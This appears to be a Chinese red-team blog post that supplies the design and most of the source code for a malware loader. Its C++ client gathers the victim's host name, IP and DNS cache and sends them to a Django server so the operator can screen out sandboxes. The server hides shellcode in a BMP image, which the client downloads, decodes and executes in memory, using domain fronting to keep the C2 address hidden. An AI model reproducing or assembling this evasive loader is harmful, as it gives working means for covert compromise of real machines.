把shellcode载荷放在平台生成的隐写图片中,前锋马回传机器基础信息用于判断是否是沙箱或调试机,确认是真实目标,人为准入,目标机解析隐写图片shellcode后上线到c2。
server端是django写,clinet是c++。 环境安装:
pip3 install django==2.1.3
pip3 install chardet
pip3 install pycryptodome
客户端随机生成GUID动态请求server端获取key
wchar_t guidbuffer[GUID_LEN] = { 0 };
GUID guid;
if (CoCreateGuid(&guid))
{
fprintf(stderr, "create guid error\n");
return -1;
}
_snwprintf_s(guidbuffer, sizeof(guidbuffer),
L"%08X-%04X-%04x-%02X%02X-%02X%02X%02X%02X%02X%02X",
guid.Data1, guid.Data2, guid.Data3,
guid.Data4[0], guid.Data4[1], guid.Data4[2],
guid.Data4[3], guid.Data4[4], guid.Data4[5],
guid.Data4[6], guid.Data4[7]);
https://blog.csdn.net/witto_sdy/article/details/83375999 http://redteam.xxx/add?uuid=41303000200-0400-0500-0006-000700080009&target=3d316499851da40d2c29a0cf2e6f645a&dns=e8f1c693514ccd053addeee84cfd350ad0f38374e86f6f799b814cc09dda09c7
获取主机名以及对于的IP
WSADATA wsaData;
int err = WSAStartup(MAKEWORD(2, 0), &wsaData);
char szHostName[MAX_PATH] = { 0 };
int nRetCode;
nRetCode = gethostname(szHostName, sizeof(szHostName));
char* lpLocalIP;
PHOSTENT hostinfo;
hostinfo = gethostbyname(szHostName);
lpLocalIP = inet_ntoa(*(struct in_addr*)*hostinfo->h_addr_list);
获取本地DNS缓存记录
std::vector<CachedDnsRecord> getDnsCache()
{
std::vector<CachedDnsRecord> results;
PDNSCACHEENTRY pEntry = (PDNSCACHEENTRY)malloc(sizeof(DNSCACHEENTRY));
HINSTANCE hLib = LoadLibrary(TEXT("DNSAPI.dll"));
DNS_GET_CACHE_DATA_TABLE DnsGetCacheDataTable =
(DNS_GET_CACHE_DATA_TABLE)GetProcAddress(hLib, "DnsGetCacheDataTable");
int stat = DnsGetCacheDataTable(pEntry);
pEntry = pEntry->pNext;
while (pEntry)
{
CachedDnsRecord record;
record.name = wstring(pEntry->pszName);
//wprintf(L"%s|", record.name.c_str());
record.type = pEntry->wType;
results.push_back(record);
pEntry = pEntry->pNext;
}
free(pEntry);
return results;
}
3.对回传回来主机名,dns记录,ip解密的数据进行判断,根据信息判断是否允许上线,允许上线则用生成一个图片隐写马,等待客户端请求返回解析出来shelllcode server端处理代码
# 判断生成图片
class TaskShow(View):
@csrf_exempt
def post(self, request, **kwargs):
taskid = (request.POST['taskid'])
obj = models.Message.objects.get(id=taskid)
shellcode = "fce88900000060xxxxxxx" #shellcode
cmd = "SimpleShellcode.exe {shellcode}".format(shellcode=shellcode)
proc = subprocess.Popen(cmd,
shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT)
print(proc.stdout.readline())
pathfile = (str(obj.UUIDreuslt) + ".bmp")
time.sleep(5)
os.rename("save.bmp", pathfile)
filedir = os.path.join(os.getcwd(), 'images', pathfile)
shutil.move(pathfile, filedir)
models.Message.objects.filter(id=taskid).update(gogogo=shellcode)
# 获取appid对应的图片
class Tasktext(View):
def get(self, request):
UUIDreuslt = request.GET.get("appid")
filename = UUIDreuslt + ".bmp"
filedir = os.path.join(os.getcwd(), 'images', filename)
if not os.path.exists(filedir):
return HttpResponse(status=404)
else:
filedir_tmp = UUIDreuslt + "_" + str(random.randint(1, 100)) + ".bmp"
temp_bmp = os.path.join(os.getcwd(), 'images', filedir_tmp)
photo = open(filedir, 'rb')
photo2 = open(temp_bmp, 'wb')
photo2.write(photo.read())
photo.close()
photo2.close()
os.remove(filedir)
q = models.Message.objects.get(UUIDreuslt=UUIDreuslt)
print(q.id)
models.Message.objects.filter(id=q.id).update(cscscs=filedir)
return FileResponse(open(temp_bmp, 'rb'), content_type='*/*')
DWORD dwStatusCodeReturn = 0;
while (dwStatusCodeReturn != 200)
{
resultStr = webhttp(fullUrlPath, &dwStatusCodeReturn);
if (dwStatusCodeReturn == 200)
{
cout << "exit" << endl;
}
cout << "请求失败:" << dwStatusCodeReturn << endl;
::Sleep(60 * 1000 * 3);
}
#位移处理图片中的shelllcode
std::wstring rightPart = GetRightStr(Url, L"?");
std::wstring wcs = rightPart.c_str();
size_t wcsPos = wcs.find(L"appid");
if (wcsPos != string::npos && dwStatusCode == 200) {
BITMAPFILEHEADER *pHdr = (BITMAPFILEHEADER *)pBuffer;
LPBYTE pStr = pBuffer + pHdr->bfOffBits + 3;
char szTmp[5000];
RtlZeroMemory(szTmp, 5000);
for (int i = 0; i < 5000; i++)
{
if (*pStr == 0 || *pStr == 0xFF)
{
break;
}
szTmp<i> = *pStr;
pStr += 4;
}
printf_s(szTmp);
unsigned int char_in_hex;
unsigned int iterations = strlen(szTmp);
unsigned int memory_allocation = strlen(szTmp) / 2;
VirtualProtect(szTmp, memory_allocation, PAGE_READWRITE, 0);
for (unsigned int i = 0; i < iterations / 2; i++) {
sscanf_s(szTmp + 2 * i, "%2X", &char_in_hex);
szTmp<i> = (char)char_in_hex;
}
MyVirtualAlloc defVirtualAlloc = (MyVirtualAlloc)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "VirtualAlloc");
MyVirtualProtect defVirtualProtect = (MyVirtualProtect)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "VirtualProtect");
void* abvc = defVirtualAlloc(0, memory_allocation, MEM_COMMIT, PAGE_READWRITE);
memcpy(abvc, szTmp, memory_allocation);
DWORD ignore;
defVirtualProtect(abvc, memory_allocation, PAGE_EXECUTE, &ignore);
(*(void(*)()) abvc)();
delete pBuffer;
}
沙箱中会静态从内存中匹配url 链接,这里用域前置来匿名服务器地址, 在winhttp中增加个指定的host头来实现域前置
std::wstring strHost = GetHost(Url); #获取host
std::wstring strRequestStr = GetRequestStr(Url); #获取目录
//wcout << strHost;
//wcout << strRequestStr;
//访问的header
std::wstring header = L"Host: " + strHost + L"\r\nContent-type: application/x-www-form-urlencoded\r\nCache-Control: max-age=0\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.8\r\n";
//建立连接的host
strHost = strHost + L".w.xxxx.com"; //动态域名
LPCWSTR host = wstringToLPCWSTR(strHost.c_str());
LPCWSTR requestStr = wstringToLPCWSTR(strRequestStr.c_str());
HINTERNET hSession = WinHttpOpen(L"User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.104 Safari/537.36 Core/1.53.2141.400 QQBrowser/9.5.10219.400",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS, 0);
DWORD dwReadBytes = 0, dwSizeDW = sizeof(dwSizeDW), dwContentSize = 0, dwIndex = 0, dwStatusCode = 0;
HINTERNET hConnect = WinHttpConnect(hSession, host,
INTERNET_DEFAULT_HTTP_PORT, 0);
HINTERNET hRequest = hRequest = WinHttpOpenRequest(hConnect, L"GET", requestStr,
NULL, WINHTTP_NO_REFERER,
NULL,
NULL);
//Add HTTP header
LPCWSTR header1 = wstringToLPCWSTR(header.c_str());
SIZE_T len = lstrlenW(header1);
WinHttpAddRequestHeaders(hRequest, header1, DWORD(len), WINHTTP_ADDREQ_FLAG_ADD);
WinHttpSendRequest(hRequest,
WINHTTP_NO_ADDITIONAL_HEADERS,
0, WINHTTP_NO_REQUEST_DATA, 0,
0, 0);
WinHttpReceiveResponse(hRequest, 0);
dwSizeDW = sizeof(dwContentSize);
WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_CONTENT_LENGTH | WINHTTP_QUERY_FLAG_NUMBER, NULL, &dwContentSize, &dwSizeDW, &dwIndex);
dwSizeDW = sizeof(dwStatusCode);
WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, NULL, &dwStatusCode, &dwSizeDW, NULL);
if (dwStatusCodeReturn)
*dwStatusCodeReturn = dwStatusCode;
BYTE *pBuffer = NULL;
pBuffer = new BYTE[dwContentSize + 1];
ZeroMemory(pBuffer, dwContentSize + 1);
//LPCWSTR header1 = wstringToLPCWSTR(header.c_str());
//SIZE_T len = lstrlenW(header1);
//WinHttpAddRequestHeaders(hRequest, header1, DWORD(len), WINHTTP_ADDREQ_FLAG_ADD);
if (dwContentSize > 0)
{
do {
WinHttpReadData(hRequest, pBuffer, dwContentSize, &dwReadBytes);
} while (dwReadBytes == 0);
}
思路和主要代码都给出来了,动动手就可以写出来了,欢迎交流指正!
推荐阅读
如有侵权,请联系删除
星球部分精华内容推荐
其他更多精彩内容,欢迎加入我们的星球